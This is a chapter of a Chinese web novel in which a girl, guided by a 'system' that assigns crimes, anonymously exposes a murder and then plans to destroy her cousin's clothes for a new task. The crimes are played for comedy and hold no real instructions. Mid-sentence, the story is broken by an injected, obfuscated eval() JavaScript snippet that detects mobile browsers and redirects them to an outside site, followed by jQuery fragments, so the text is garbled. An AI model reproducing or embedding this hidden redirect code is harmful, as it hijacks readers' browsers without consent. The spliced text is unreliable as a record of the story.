“表哥和表妹哎,我的天,好恐怖!铃薇,你能想象我和许靖辰那臭小子……吗?”
顾羽宁一脸惊恐,猛搓手臂。
许铃薇也想搓手臂了,确实恐怖,无法想象:“然后发生什么了?”
“两个人偷情,表妹情人想闹出动静让人发现,她老公就把人捂死了,藏在床底下,趁全家人出门玩自己折回来毁尸灭迹,带了那么大一个行李箱,把人装箱子里藏在一辆吃灰的车上。”
她张开双臂比划。
说到这里露出个古怪的表情:“你知道他找的什么借口能让家里人都不怀疑,还把佣人都支开吗?结婚纪念日!他假装说要亲手在家布置结婚纪念日仪式,其实是跑回去处理情人的尸体,太搞——”
“太奇葩太神经了。”她本来想说太搞笑了,一想到这可是有人被害,说搞笑是不是有点不好啊?卡了一下又改口。
作为家庭和谐父母恩爱的孩子,她天然讨厌情人这类生物,她有好几个同学不是爸爸有情人就是妈妈有情人,或者爸爸妈妈都有情人,他们好可怜。
可当情人也罪不至死啊。
还真是情人。
许铃薇心说果然,当时她从那只明显是女人的手推测出一二。自古奸情出人命这句话的含金量还在上升。
“那他是怎么被发现的?”她问瞳孔还在地震的顾羽宁。
“是有个神秘人报警,警察去抓人,死掉的表妹情人不见了。警察把他们家翻了个底朝天都没找到,附近监控也坏了。他们两口子闹着要警察给个说法,要投诉警察,让人家下岗。”
顾羽宁惊骇的表情丝滑转变为幸灾乐祸:“你猜怎么着,不知道是谁把他干坏事的证据放警察桌上了,我猜可能又是那个神秘人。那男的吓傻了,那个女人当场崩溃,直接晕倒。”
“醒了又闹,两口子成仇人了,那个女人骂她老公偷人偷到家里就算了,还在她的卧室里杀人。她老公怀疑是她偷偷在家另外装了摄像头,那些证据是她拍的,就是想弄死他独吞家产。”
顾羽宁最后下结论:“狗咬狗一嘴毛,哼。”
说完倒在沙发上,舒服地长舒了一口气。她一路跑上楼,又说了这么多话,又累又渴,爬起来打算狂饮三大杯再躺。
茶几上摆了一套小巧精致的茶具和一个奶瓶,一半茶杯里装着白开水,另一半装着冲好的奶粉,奶瓶里也装着冲好的奶粉。
有时候真不能怪她和小表妹玩不到一块儿,还叼奶嘴就算了,像郑重其事拿茶具装白开水和泡奶粉这种事,就说哪个脑回路正常的人干得出来吧。
反正她干不出来。
顾羽宁倒了杯水,吨吨吨。
许铃薇微笑着注视顾羽宁喝水,看得对方水都喝不下去了。
“干嘛这么看着我?你终于被我的人格魅力折服了?”
“你看你,又自信。”许铃薇连自己散发的人格魅力都吸收不完,怎么可能被其他人所谓的人格魅力折服,她只是想说,想不到吧,那个报警的神秘人就坐在你面前。
事了拂衣去,深藏功与名。
她就是这么朴实无华,游走在光明和黑暗之间。
许铃薇随便找了个借口:“我只是在想,姑姑怎么知道得这么清楚。”
说起这个顾羽宁腿也不酸了,水也不喝了,瞬间来劲了:“这是大丑闻啊,那个女人到处找人想办法稳住公司,就是没找我妈。可别人都拿她当笑话讲给我妈听,那我妈就知道了嘛。”
俩小孩在家里嘀嘀咕咕,警察在警察局也在展开讨论,讨论主题——装着证据的信封到底是怎么绕过门卫,绕过值班警察,绕过监控,凭空出现在办公桌上的?
在座的除了新人菜鸟,不乏在岗多年老刑警,却俱都百思不得其解。
“各位领导,鄙人才疏学浅,实在分析不出究竟为什么上一帧桌子上还没东西,下一帧信封就躺在桌子上。饶了我吧!”
“还高材生呢,你不是很牛吗,平时牛逼轰轰的,这都分析不出来。监控看不出来就算了,那个举报电话也查不到,难不成闹鬼了?”
“胡说什么呢,咱们是什么身份,能说这种话吗?万一传出去怎么整。再说了这是哪儿,哪个鬼敢来?进门就得先挨三道雷。”
众人吵吵嚷嚷,吵得屋子里乌烟瘴气,没吵出个结果。
从警这么多年,他们还是头一回碰到这种事。破案异常顺利,人家都把饭喂嘴边了,可证据它到底是从哪儿冒出来的??
卷宗都不好写。
最终局长一锤定音,勒令谁都不许往外乱传,就写热心群众匿名送证据举报。
别问,问就是热心群众。
戒指事件让顾羽宁对许铃薇的态度大变,彻底把车祸事件翻篇,从之前的只是偶尔吃饭见个面变成了从早粘到晚。
她甚至连演技都不琢磨了,许铃薇走哪儿她跟哪儿。
“羽宁姐姐你要干嘛啊,再这样我真的要报警了,申请人身安全保护令。”许铃薇严肃地说。
敢靠近自己方圆十米内就叉出去。
顾羽宁有点生气有点委屈:“你就这么不待见我,我把你当亲妹,你拿我当表姐?”
“……你本来就是我表姐。”
“啊?对哦。哎这不是重点,重点是你为什么总想把我甩开,我都发誓不会把你的秘密说出去,你就让我见见你的神秘势力吧,求你了,就一眼,别逼我给你跪下!”
许铃薇彻底无语。
希望表姐开智后回想起今日种种不会尴尬得撞墙吧。
她转身就跑,顾羽宁跟着跑,凭着年龄身高优势轻松追上,跟她并排跑。
“别追我,我没有急支糖浆!”许铃薇边跑边喊。
“谁要你的急支糖浆,快把你的神秘势力拿出来给我看看!”顾羽宁边喊边跑。
小孩追小小孩,绿莹莹的草坪上两个小小的身影追逐打闹,看得人心里暖暖的。
听不清在喊什么,大概是“姐姐等等我”“妹妹小心别摔了”之类的吧。
楼上阳台,老俩口相视一笑。
周淑荣笑道:“老头子你看,发生了上次那件事,但他们姐妹俩之间一点
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17501357|202753||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
芥蒂都没有。”
许鸿辉也在笑,却哼了一声:“小孩子就这样,上午打架打得死去活来,下午就又嘻嘻哈哈勾肩搭背,记吃不记打。”
周淑荣感慨:“还是小孩子好,矛盾来得快,去得也快。大了就不一样了,矛盾藏在心里,明明是一家人,却渐行渐远,也不知道哪里出了问题。”
语气怅然,有些萧索。
许鸿辉笑容僵在脸上,慢慢放松脸部肌肉,没说话,沉默地看着两个孩子互相追逐着跑远。
……
许铃薇不知道自己和顾羽宁上演的这一场她逃她追她插翅难飞的场面被爷爷奶奶歪曲解读,她只知道她不装了,她要开挂了。
当她利用攀爬专精这一技能化身灵猴眨眼之间爬上大树,顾羽宁站在树下昂着脑袋目瞪口呆的时候,她只觉得灵魂一阵舒爽。
开挂太爽了,下次还要开。
【叮!新任务发布:请宿主在24小时内犯下故意毁坏财物罪】
【可用技能:运动轨迹预判,痕迹抹除,攀爬专精。可用道具:哆啦A梦的任意门(正式版)(剩余次数:3/天),柯南的蝴蝶结变声器】
又有新任务了,许铃薇精神抖擞,斗志满满,当即就要从树上下去,回房间做犯罪计划。
然而低头一看,顾羽宁正龇牙咧嘴一跳一跳试图也爬上来。
这还有块牛皮糖守在底下,她怎么下去。
许铃薇扶额:“羽宁姐姐,你再这样,我真得好好惩罚你了。”
顾羽宁警惕声明:“你惩罚我什么?又开着你的法拉利撞我吗?我这回可没演恶毒大小姐欺负人,你撞我是不对的!”
当然不是啦,许铃薇勾起嘴角,露出邪恶笑容,开车撞人是交通肇事那个任务,已经完成了。现在是新任务。
表姐像个跟屁虫一样跟着她,她能干好坏事犯好罪吗?
许铃薇计划好了,毁坏财物罪就拿表姐当目标。具体的财物都是现成的,表姐那一堆漂亮衣服。
到时候她肯定肺都要气炸,还会觉得自己是个好人吗,还会非得跟着自己吗?那必然不会啦。
许铃薇打定主意,握紧拳头挥了挥。
至于什么家人啊姐妹啊感情啊羁绊啊,不需要,她是一头独狼。
此时此刻,她只想高歌一曲《我只是一只狼》。
“别看我只是一只狼~~狼儿的聪明难以想象~~”
熟悉的歌声在许铃薇耳边响起,她愣了一下,她还没唱呢,哪里来的美妙歌喉?
原来是她的手机。
许铃薇掏出手机一看,居然是二婶给她打微信语音。
欣赏了这首由她亲自改编献唱的来电铃声短短十几秒,许铃薇才按下接听。
手机里传出的却是个男人的声音:“铃薇?我是二叔。”
许铃薇假装惊讶:“二叔,你偷了二婶的手机?”
“……你二婶在旁边,”他被噎了一下,一个爽利的女声传过来,“铃薇,我是二婶。”
许铃薇:“二叔二婶,我是蕉太狼。”